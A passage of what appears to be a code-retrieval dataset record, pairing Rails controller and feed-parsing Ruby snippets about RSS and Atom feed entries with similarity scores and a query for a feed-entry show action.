"def fetch_entries\n entries = []\n doc = Hpricot.XML(open(\"http://blip.fm/feed/#{self.blipfm_login}\"))\n (doc/'item').each do |item|\n entries << parse_entry(item)\n end\n entries.reject { |e| e.nil? }\n rescue Timeout::Error => tme\n logger.warn \"#{SERVICE_NAME}: Error fetching posts (timeout error): #{tme}\"\n []\n rescue => e\n logger.warn \"#{SERVICE_NAME}: Error fetching posts: #{e}\"\n []\n end",
"def feed\n @blog_articles = BlogArticle.all\n respond_to do |format|\n format.rss { render layout: false }\n end\n end",
"def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def show\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @populate_feed_info }\n end\n end",
"def index\n @entries = Entry.desc(:created_at).page(params[:page] || 1).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"def feed\n @posts = Post.all\n\n render_view(:feed)\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def index\n @feed_infos = FeedInfo.all\n end",
"def get_all_entries\n @feed_entries = FeedEntry.find(:all, :conditions => { :person_id => self.id}, :order => 'published_at DESC')\n end",
"def index\n @feed_items = FeedItem.all\n end",
"def show\n\t\t@feeds = ExtensionFeed.paginate(page: params[:page],\n per_page: params[:per_page])\n\n\t\trespond_to do |format|\n\n\t\t\tformat.html { \n\t\t\t\trender locals: {\n\t\t\t\t\tfeeds: @feeds\n\t\t\t\t},\n\t\t\t\tlayout: false\n\t\t\t}\n\t\t\t\n\t\t\tformat.json # show.json.builder\n\t\tend\n\tend",
"def entries\n settings.inject([]) do |rss_entries, url|\n rss_entries + parse_rss_entries(url)\n end\n end",
"def entries\n if defined? @entries\n @entries\n else\n if @fz_feed_parser && @fz_feed_parser.entries\n @entries = @fz_feed_parser.entries.map { |e| Service::Parser::FeedItem.new(feedjira_parser: e) }\n else\n []\n end\n end\n end",
"def show\n @feed = FlexibleFeeds::Feed.find(params[:id])\n\n render json: @feed\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def index\n @entries = Entry.all\n end",
"def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end",
"def parse_feed\n remove_previous_entries\n @items = @content[\"rss\"][\"channel\"][\"item\"]\n if !@items.nil?\n for item in @items do\n item[\"pubDate\"] ||= \"\"\n item[\"creator\"] ||= \"\"\n item[\"guid\"] ||= \"\"\n item[\"title\"] ||= \"\"\n item[\"description\"] ||= \"\"\n clean_content(item[\"encoded\"] ||= \"\")\n item[\"link\"] ||= \"\"\n params = { \n :pubdate => item[\"pubDate\"], \n :creator => item[\"creator\"], \n :guid => relative_link(item[\"guid\"]), \n :title => item[\"title\"], \n :description => item[\"description\"], \n :content => @content, \n :link => relative_link(item[\"link\"])\n }\n insert_entry(params)\n end\n end\n end",
"def get_feed(uri)\n uri = URI.parse(uri)\n Net::HTTP.start(uri.host, uri.port) do |http|\n return http.get(\"#{uri.path}?#{uri.query}\", @headers)\n end\n end",
"def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end",
"def index\n #@tags = Entry.author_counts\n\t@filter = params[:filter]\n\t@sort_by = params[:sort_by]\n\t\n\tif (@filter)\n\t\t@entries = Entry.tagged_with(params[:filter], :order => @sort_by)\n\telse\n\t\t@entries = Entry.find(:all, :order => @sort_by)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n\t format.rss { render :rss => @entries }\n end\n end",
"def feed_path( feed )\n \"/feed/#{feed.key}\"\n end",
"def show\n @feed_entry = FeedEntry.find(params[:id])\n @feed_entry.set_read\n @title = @feed_entry.title\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed_entry }\n end\n end",
"def entry_list\n unless params[:version] == '3.0'\n raise ActionController::RoutingError.new('Not Found')\n end\n\t\t\n @event = Event.find(params[:id])\n respond_to do |format|\n format.xml { render :layout => false }\n end\n end",
"def show\n @category = Category.find(params[:id])\n @feeds = @category.feeds\n @entries = @category.entries.includes([:feed, :clip]).page params[:page]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => {\n :category => @category,\n :feeds => @feeds,\n :entries => @entries # TODO entryごとのclipがjsonに含まれてない\n }}\n end\n end",
"def feed_url\n blog_url + \"posts.atom\"\n end",
"def entries_to_stdout entries\n feed = Atom::Feed.new\n\n entries.each do |entry|\n puts entry.inspect\n feed.entries << entry\n end\n\n puts feed.to_s\n end",
"def feed_url\n blog_index_url(format: :rss)\n end",
"def article_feed\n \tArticle.all\n end",
"def feed_items\n feed_item\n end",
"def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n end",
"def show\n @feed = Feed.find(params[:id])\n end",
"def index\n @entries = Entry\n .paginate(:page => params[:page], :per_page => 10)\n .find_all_by_entry_type(params[:entry_type].presence || 'post', :include => :user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"def list_feeds(_environment = 'test')\n ret = http_get('feeds')\n ret.map { |f| f['id'] }\n end",
"def feed\n tag = params[:tag] || \"home\"\n return render_feed(params[:type].to_sym, tag)\n end",
"def rss\n render_rss_feed_for Announcement.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Announcements',\n :link => announcements_url,\n :pub_date => :created_at\n },\n :item => {\n :title => :headline,\n :description => :formatted_description,\n :link => Proc.new{|announcement| \"#{announcements_url}##{announcement.id}\" }\n }\n }\n end",
"def show_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n #format.html # show.html.erb\n format.xml { render :xml => @entry_item }\n end\n end"
] |
[
"0.7467509",
"0.739195",
"0.73252153",
"0.72314",
"0.7188785",
"0.7104639",
"0.7060942",
"0.6975196",
"0.6948779",
"0.69036674",
"0.6880097",
"0.68380207",
"0.6771395",
"0.6732317",
"0.6727265",
"0.67201823",
"0.67142063",
"0.669728",
"0.66721797",
"0.6670565",
"0.6658709",
"0.66337746",
"0.6606782",
"0.66020244",
"0.65721923",
"0.65487486",
"0.65313196",
"0.65257883",
"0.6524972",
"0.65225655",
"0.6519065",
"0.64794296",
"0.6439899",
"0.64395446",
"0.64235234",
"0.64079726",
"0.6385104",
"0.6379287",
"0.63774896",
"0.6346686",
"0.63377064",
"0.6337209",
"0.6311619",
"0.63065803",
"0.63013893",
"0.63013893",
"0.63013893",
"0.63013893",
"0.63013893",
"0.6299884",
"0.6285934",
"0.6271745",
"0.62589043",
"0.62309766",
"0.62301916",
"0.6226046",
"0.62146604",
"0.6200249",
"0.6195173",
"0.6192749",
"0.61895835",
"0.61827695",
"0.6179238",
"0.6177179",
"0.6171207",
"0.61700684",
"0.61671257",
"0.615773",
"0.6152414",
"0.61517525",
"0.6135668",
"0.6125167",
"0.6115488",
"0.6115488",
"0.6115488",
"0.6115488",
"0.6115488",
"0.6115488",
"0.61095333",
"0.61094755",
"0.61083156",
"0.6101384",
"0.610047",
"0.6098483",
"0.6095124",
"0.60928696",
"0.608877",
"0.60783386",
"0.60776216",
"0.60724473",
"0.6070483",
"0.6062034",
"0.6058177",
"0.6058177",
"0.60521924",
"0.60521924",
"0.6048967",
"0.6033834",
"0.60316575",
"0.603079",
"0.6029152"
] |
0.0
|
-1
|
GET /feed_entries/1 GET /feed_entries/1.xml
|
def show
@feed_entry = FeedEntry.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @feed_entry }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n #body, ok = SuperfeedrEngine::Engine.retrieve(Feed.first) \n @entries = Entry.all\n end",
"def index\n @feed_entries = FeedEntry.all\n @title = \"Feeds List\"\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @feed_entries }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n @entries = EntryFeed.where(:feed_id => @feed.id)\n\n if @entries.blank?\n EntryFeed.create_from_feed(@feed)\n @entries = EntryFeed.where(:feed_id => @feed.id)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @feed }\n end\n end",
"def rss_entries(url)\n\t\tresponse = fetch(url)\n\t\tresponse[\"feed\"][\"entry\"]\n\tend",
"def show\r\n @feed = Feed.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @rss_entry }\r\n end\r\n end",
"def show\n @feed = Feed.find(params[:id]) rescue Feed.find_by_uri(params[:id])\n if @feed.is_duplicate? and @feed.duplicate\n redirect_to feed_url(@feed.duplicate)\n else\n respond_to do |wants|\n wants.html do\n render :action => 'show'\n end\n wants.atom do\n render :xml => @feed.to_atom(:base => \"http://#{request.host}:#{request.port}\", :include_entries => true, :page => params[:page]) \n end\n wants.xml { render :xml => @feed.to_xml }\n end\n end\n end",
"def index\n @feed_entries = FeedEntry.all\n end",
"def show\n @feed = Feed.find(params[:id])\n @related_feeds = @feed.list_related_feeds(current_user)\n @feed_entries = Entry.where(feed_id: @feed.id).order(\"updated_at DESC\").page(params[:page]).per(10)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @feed.to_xml }\n end\n end",
"def show\n @feed = Feed.find(params[:feed_id])\n @entry = Entry.find(params[:id])\n respond_to do |format|\n format.html { render :layout => 'feed'}\n format.json { render json: @entry }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"def index\n @entries = Entry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @entries = Entry.all;\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def index\n @feeds = Feed.all\n\n # fetching a single feed\n #@feed = Feedzirra::Feed.fetch_and_parse(\"http://feeds.feedburner.com/PaulDixExplainsNothing\")\n\n # @entries = @feed.entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @feeds }\n end\n end",
"def feed\r\n @posts = Post.all(:order => \"created_at DESC\")\r\n respond_to do |format|\r\n format.rss\r\n end\r\n end",
"def xml_feed_entries(feed_url, locale, offset)\r\n p \"Feed #{feed_url}\"\r\n doc = Nokogiri::XML(open(feed_url))\r\n doc.xpath(\"//item\").count.times do |n|\r\n \r\n # process dates\r\n sdt = DateTime.parse(doc.xpath(\"//item//xCal:dtstart\")[n].text) rescue nil\r\n edt = doc.xpath(\"//item//xCal:dtend\")[n].text\r\n edt.blank? ? enddt = sdt.advance(:hours => 2) : enddt = DateTime.parse(edt)\r\n \r\n # get event title and url\r\n etitle = doc.xpath(\"//item//title\")[n].text.split(' at ')[0]\r\n url = doc.xpath(\"//item//link\")[n].text \r\n sid = doc.xpath(\"//item//id\")[n].text \r\n\r\n # get county based on coordinates\r\n lat = doc.xpath(\"//item//geo:lat\")[n].text\r\n lng = doc.xpath(\"//item//geo:long\")[n].text\r\n county = Schedule.chk_geocode(lat, lng) rescue nil\r\n \r\n # add only current events \r\n if sdt >= Date.today\r\n \r\n # find correct channel and location\r\n cid = LocalChannel.select_channel(etitle, county, locale).flatten 1\r\n# cid.map {|channel| p \"Channel: #{channel.channelID}\" }\r\n\r\n # add event to calendar\r\n cid.map {|channel| add_event(doc, n, sid, etitle[0..199], sdt, enddt, channel.channelID, url, offset)} if cid\r\n# add_event(doc, n, sid, etitle[0..199], sdt, enddt, cid[0].channelID, url, offset) if cid\r\n end\r\n end \r\n end",
"def index\n @feeds = Feed.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @feeds.to_xml }\n end\n end",
"def index\n @posts = Post.limit 50\n @title = \"Weblog - last posts\"\n @updated = @posts.first.created_at unless @posts.empty?\n respond_to do |format|\n format.rss do\n redirect_to feeds_path(format: :atom),\n status: :moved_permanently\n end\n format.atom\n end\n end",
"def new\n @feed = Feed.find(params[:feed_id])\n @entry = @feed.entries.new\n respond_to do |format|\n format.html { render :layout => 'feed'}\n format.json { render json: @entry }\n end\n end",
"def retrieve_feed\n uri = URI.parse(@feed_url)\n Net::HTTP.get_response(uri).body\n end",
"def index\n @entries = Entry.order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def show\n @twitterfeed = Twitterfeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @twitterfeed }\n end\n end",
"def show\n @datafeed = Datafeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @datafeed }\n end\n end",
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def index_rest\n @entry_items = EntryItem.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entry_items }\n end\n end",
"def entries\n Entry.where(:feed_id => pk)\n end",
"def show\n @feed_entry = FeedEntry.find(params[:id])\n @feed_entry.set_read\n @title = @feed_entry.title\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed_entry }\n end\n end",
"def show\n @feed_entry = FeedEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed_entry }\n end\n end",
"def feed\n @data.feed ||= parsed_document.xpath(\"//link\").select{ |link|\n link.attributes[\"type\"] && link.attributes[\"type\"].value =~ /(atom|rss)/\n }.map { |link|\n absolutify_url(link.attributes[\"href\"].value)\n }.first rescue nil\n end",
"def show\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @populate_feed_info }\n end\n end",
"def feed\n get '/users/self/feed', auth_params\n end",
"def entries\n nodes = @doc.xpath(\"atom:feed/atom:entry\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomFeedEntry.new(node) }\n end",
"def feed\n @feed_items = @repository.recent_feed_items\n respond_to do |format|\n format.html # feed.html.erb\n format.json { render json: @feed_items }\n end\n end",
"def fetch!\n parsed_feed = FeedNormalizer::FeedNormalizer.parse open(self.feed_url)\n \n self.update_attributes( :title => parsed_feed.title,\n :url => parsed_feed.url\n #:etag => parsed_feed.etag\n #:last_modified => parsed_feed.last_modified\n )\n \n parsed_feed.entries.each do |entry|\n self.entries.create(:url => entry.url,\n :title => entry.title,\n :author => entry.author,\n #:summary => entry.summary,\n :content => entry.content\n #:published => entry.published\n #:categories => entry.categories\n ) if !Entry.find_by_url(entry.url)\n end\n end",
"def feed\r\n # check for valid access key:\r\n user = User.find_by_rss_access_key(params[:access_key])\r\n @authorized = !user.blank?\r\n\r\n # get the folder\r\n @folder = Folder.find_by_id(folder_id)\r\n\r\n # set appriopriate instance variables,\r\n # so the feed can be created in folder.rxml\r\n if @authorized and not @folder.blank?\r\n if @folder.is_root or user.can_read(@folder.id)\r\n @folders = @folder.list_subfolders(user, 'name')\r\n @myfiles = @folder.list_files(user, 'filename')\r\n else\r\n @authorized = false\r\n end\r\n end\r\n\r\n # finally, set correct header\r\n if @authorized\r\n headers['Content-Type'] = 'text/xml'\r\n else\r\n headers['Content-Type'] = 'text/html'\r\n end\r\n end",
"def index\n @entries = Entry.find_all_by_time(params[:date], :order => :created_at)\n @entry ||= Entry.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def show\n @feedentry = Feedentry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feedentry }\n end\n end",
"def feed\n @posts = Post.feed_of(params[:id])\n end",
"def get_feed(uri)\n uri = URI.parse(uri)\n Net::HTTP.start(uri.host, uri.port) do |http|\n return http.get(\"#{uri.path}?#{uri.query}\", @headers)\n end\n end",
"def friend_feed(options={})\n get('/feed', options)\n end",
"def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def entries\n if @entries.nil?\n raw_entries = FeedTools::XmlHelper.select_not_blank([\n FeedTools::XmlHelper.try_xpaths_all(self.channel_node, [\n \"atom10:entry\",\n \"atom03:entry\",\n \"atom:entry\",\n \"entry\"\n ]),\n FeedTools::XmlHelper.try_xpaths_all(self.root_node, [\n \"rss10:item\",\n \"rss11:items/rss11:item\",\n \"rss11:items/item\",\n \"items/rss11:item\",\n \"items/item\",\n \"item\",\n \"atom10:entry\",\n \"atom03:entry\",\n \"atom:entry\",\n \"entry\",\n \"story\"\n ]),\n FeedTools::XmlHelper.try_xpaths_all(self.channel_node, [\n \"rss10:item\",\n \"rss11:items/rss11:item\",\n \"rss11:items/item\",\n \"items/rss11:item\",\n \"items/item\",\n \"item\",\n \"story\"\n ])\n ])\n\n # create the individual feed items\n @entries = []\n unless raw_entries.blank?\n for entry_node in raw_entries.reverse\n new_entry = FeedItem.new\n new_entry.feed_data = entry_node.to_s\n new_entry.feed_data_type = self.feed_data_type\n new_entry.root_node = entry_node\n if new_entry.root_node.namespace.blank?\n new_entry.root_node.add_namespace(self.root_node.namespace)\n end\n @entries << new_entry\n end\n end\n end\n \n # Sort the items\n if self.configurations[:entry_sorting_property] == \"time\"\n @entries = @entries.sort do |a, b|\n (b.time or Time.utc(1970)) <=> (a.time or Time.utc(1970))\n end\n elsif self.configurations[:entry_sorting_property] != nil\n sorting_property = self.configurations[:entry_sorting_property]\n @entries = @entries.sort do |a, b|\n eval(\"a.#{sorting_property}\") <=> eval(\"b.#{sorting_property}\")\n end\n else\n return @entries.reverse\n end\n return @entries\n end",
"def fetch_urls_from_feedly\n yaml = YAML.load_file('env.yaml')\n client = Feedlr::Client.new(oauth_access_token: yaml['account']['feedly']['access_token'])\n client.user_subscriptions.map{|m|\n # puts m.id\n hotentries = client.stream_entries_contents(m.id, :count => 5 ).items\n return hotentries\n };\nend",
"def show\n @feed = Feed.find(params[:id])\n end",
"def show\n @feed = Feed.find(params[:id])\n end",
"def show\n @entry = Entry.find(params[:id])\n\t@entry.viewed += 1\n\t@entry.update_attributes(params[:entry])\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n\t format.rss { render :rss => @entry }\n end\n end",
"def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"def index\n @entries = @resource_finder.find(:all)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def feed_path( feed )\n \"/feed/#{feed.key}\"\n end",
"def index(file=selfdir+\"feed.xml\", args={})\n # feed from the adminserver host\n feeder = vespa.adminserver\n feedoutput = feeder.feedfile(file, args)\n feedoutput\n end",
"def show\n @entry = Entry.find(params[:id])\n\t@entry.viewed += 1\n\t@entry.update_attributes(params[:id])\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n\t format.rss { render :rss => @entry }\n end\n end",
"def rss\n @headers[\"Content-Type\"] = \"application/xml\"\n @articles = Article.find(:all, \n :order => 'created_at DESC',\n :conditions => [\"articles.approved = ?\", true],\n :limit => 10\n )\n render :layout => false\n end",
"def feed\n @articles = Article.feed_list(current_user, params[:page])\n end",
"def feed\n\t\t\tpost = { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml = nessus_request('feed', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tfeed = docxml.root.elements['contents'].elements['feed'].text\n\t\t\tversion = docxml.root.elements['contents'].elements['server_version'].text\n\t\t\tweb_version = docxml.root.elements['contents'].elements['web_server_version'].text\n\t\t\treturn feed, version, web_version\n\t\tend",
"def feed_url\n blog_index_url(format: :rss)\n end",
"def show\n\n update_feed(@feed)\n\n @items = @feed.items.order('pub_date DESC').page params[:page]\n\n end",
"def fetch_feed\n endpoint = @current_feed.values.first\n\n begin\n document = SimpleRSS.parse(URI.open(endpoint, 'User-Agent' => 'Ruby-wget'))\n rescue StandardError => e\n puts \"Error: <#{e}> while trying to call <#{@current_feed_link}>\"\n # effectively skip document\n document = { title: Rss::NO_VALUE, items: {} }\n end\n\n # Ensuring string access instead of symbol access.\n # I know there's probably a better way to do this...\n # but I can't remember if with_indifferent_access is\n # a rails thing...\n @cache[@current_feed.keys.first] = JSON.parse(document.items.to_json)\n end",
"def show\n @series = Series.find(params[:id])\n @feeds = Feed.where(series_id: params[:id])\n @feeds.each do |feed|\n @entries = Entry.where(feed_id: feed.id).order(:created_at).page params[:page]\n end\n \n end",
"def show_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n #format.html # show.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def show\n @rss_feed = RssFeed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rss_feed }\n end\n end",
"def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end",
"def xml\n @entry ||= open(entry_url).read\n rescue => e\n raise RuntimeError, \"coult not open entry url: #{entry_url} : \\n#{e}\"\n end",
"def get_atom_entry(url)\n res = get(url, \"Accept\" => \"application/atom+xml\")\n\n # XXX handle other HTTP codes\n if res.code != \"200\"\n raise Atom::HTTPException, \"failed to fetch entry: expected 200 OK, got #{res.code}\"\n end\n\n # be picky for atom:entrys\n res.validate_content_type( [ \"application/atom+xml\" ] )\n\n Atom::Entry.parse(res.body, url)\n end",
"def feed(name, options = {})\n if rel = feeds._links[name]\n get rel.href, :accept => rel.type, :options => options\n end\n end",
"def index\n\t\t@people = Person.all\n\t\t# respond_to do |format|\n\t\t# \tformat.xml { send_data @entries.to_xml, :type => 'text/xml; charset=UTF-8;', :disposition => 'attachment; filename=entries.xml'}\n\t\t# end\n\tend",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def index\n @feeds = Feed.all\n end",
"def feed!\n http_fetch(feed_url)\n end",
"def parse_feed\n remove_previous_entries\n @items = @content[\"rss\"][\"channel\"][\"item\"]\n if !@items.nil?\n for item in @items do\n item[\"pubDate\"] ||= \"\"\n item[\"creator\"] ||= \"\"\n item[\"guid\"] ||= \"\"\n item[\"title\"] ||= \"\"\n item[\"description\"] ||= \"\"\n clean_content(item[\"encoded\"] ||= \"\")\n item[\"link\"] ||= \"\"\n params = { \n :pubdate => item[\"pubDate\"], \n :creator => item[\"creator\"], \n :guid => relative_link(item[\"guid\"]), \n :title => item[\"title\"], \n :description => item[\"description\"], \n :content => @content, \n :link => relative_link(item[\"link\"])\n }\n insert_entry(params)\n end\n end\n end",
"def feed\n @blog_articles = BlogArticle.all\n respond_to do |format|\n format.rss { render layout: false }\n end\n end",
"def index\n @places = @places.page params[:page]\n\n @feed_link = places_url(:format => :atom)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @places }\n format.atom { render :layout => false }\n end\n end",
"def show\n @entry = @entries.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def feed\n tag = params[:tag] || \"home\"\n return render_feed(params[:type].to_sym, tag)\n end",
"def show\n @feed = FlexibleFeeds::Feed.find(params[:id])\n\n render json: @feed\n end",
"def feed\n\n end",
"def fetch\n feed_data = REXML::Document.new(open(@url, :proxy => true)).root\n parse(feed_data)\n end",
"def show\n\n @feed = Feed.find(params[:id]) rescue nil\n @page_title = @feed.title unless @feed.nil?\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @feed }\n end\n end",
"def new\n @feed_entry = FeedEntry.new\n @project = Project.find(params[:project_id])\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feed_entry }\n end\n end",
"def feed\n end",
"def auto_discovery_feed(options = { })\n with_options(options.reverse_merge(:only_path => true)) do |opts|\n @auto_discovery_url_rss = opts.url_for(:format => 'rss', :only_path => false)\n @auto_discovery_url_atom = opts.url_for(:format => 'atom', :only_path => false)\n end\n end",
"def index\n @feed_urls = current_account.feed_urls.paginate(page: params[:page]).order(id: :desc)\n end",
"def feed_entries(feed, include_read: false, page: nil)\n EntriesPagination.feed_entries feed, self, include_read: include_read, page: page\n end",
"def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end",
"def feed_url\n blog_url + \"posts.atom\"\n end",
"def entry_list\n unless params[:version] == '3.0'\n raise ActionController::RoutingError.new('Not Found')\n end\n\t\t\n @event = Event.find(params[:id])\n respond_to do |format|\n format.xml { render :layout => false }\n end\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def fetch\n options = {:on_success => method(:success), :on_failure => method(:failure), :timeout => 30}\n feed = Feedzirra::Feed.fetch_and_parse(self.feed_url, options)\n rescue Exception => e\n puts \"Failure fetching feed: #{e.message}\" \n end",
"def feed\n @feed ||= (parsed_feed('rss') || parsed_feed('atom'))\n end",
"def feed\n @feed ||= (parsed_feed('rss') || parsed_feed('atom'))\n end",
"def feed_for(name)\n find_articles(name) \n articles_to_list\n feed = @page.page_parts.where(name: 'feed').first\n process_with_filter(feed) \n end",
"def index\n @feed_infos = FeedInfo.all\n end",
"def get_feed(params)\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Entering\")\n\n url = process_node(params)\n\n if url && String === url && url !~ /^http/ && params[:url]\n url = URI.join(params[:url] , url).to_s\n elsif url && Array === url\n url.map! do |u|\n if u !~ /^http/ && params[:url]\n URI.join(params[:url], u).to_s\n else\n u\n end\n end\n url.uniq!\n end\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Leaving\")\n params[:output][\"feed\"] = url\n\n rescue => e\n Rails.logger.error(\"[RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] **** RESCUE **** #{e.message} \")\n nil\n end",
"def rss\n render_rss_feed_for Announcement.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Announcements',\n :link => announcements_url,\n :pub_date => :created_at\n },\n :item => {\n :title => :headline,\n :description => :formatted_description,\n :link => Proc.new{|announcement| \"#{announcements_url}##{announcement.id}\" }\n }\n }\n end",
"def feed\n @posts = Post.all\n\n render_view(:feed)\n end",
"def newsfeed\n check_auth :newsfeed\n \n response = connection.post do |req|\n req.url '/user/newsfeed'\n req.body = { :format => @format }\n end\n response\n end"
] |
[
"0.7315541",
"0.7226129",
"0.71670896",
"0.699796",
"0.6963212",
"0.6870064",
"0.6869342",
"0.6830619",
"0.6771149",
"0.67504215",
"0.67402446",
"0.67401975",
"0.6735528",
"0.6722902",
"0.6682149",
"0.6673443",
"0.66433555",
"0.65687394",
"0.6559264",
"0.6558318",
"0.65565",
"0.6537968",
"0.65173954",
"0.6499801",
"0.6497559",
"0.6473257",
"0.646434",
"0.64564914",
"0.6456349",
"0.6444075",
"0.6404932",
"0.64047164",
"0.6392061",
"0.63803005",
"0.6373234",
"0.635766",
"0.63572776",
"0.63455725",
"0.634279",
"0.633995",
"0.63135386",
"0.6304804",
"0.62749064",
"0.62657684",
"0.62657684",
"0.6265697",
"0.62628835",
"0.62628835",
"0.6246509",
"0.6239964",
"0.6239326",
"0.6236919",
"0.62180334",
"0.6217263",
"0.621031",
"0.62060237",
"0.61915565",
"0.61774796",
"0.6143424",
"0.6143109",
"0.6140474",
"0.6130232",
"0.612861",
"0.61272424",
"0.61194974",
"0.6111673",
"0.6104402",
"0.609621",
"0.609621",
"0.609621",
"0.609621",
"0.609621",
"0.609197",
"0.6083625",
"0.60811764",
"0.6080361",
"0.6069739",
"0.60691005",
"0.6067491",
"0.6066587",
"0.60635656",
"0.60603076",
"0.60559887",
"0.60549045",
"0.60548484",
"0.6052266",
"0.6051339",
"0.6034483",
"0.6017411",
"0.60099334",
"0.60041887",
"0.59769297",
"0.59671307",
"0.59671307",
"0.59667194",
"0.5955601",
"0.5947788",
"0.59349674",
"0.5930945",
"0.59244186"
] |
0.70647407
|
3
|
GET /feed_entries/new GET /feed_entries/new.xml
|
def new
@feed_entry = FeedEntry.new
@project = Project.find(params[:project_id])
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @feed_entry }
end
end
|
{
"objective": {
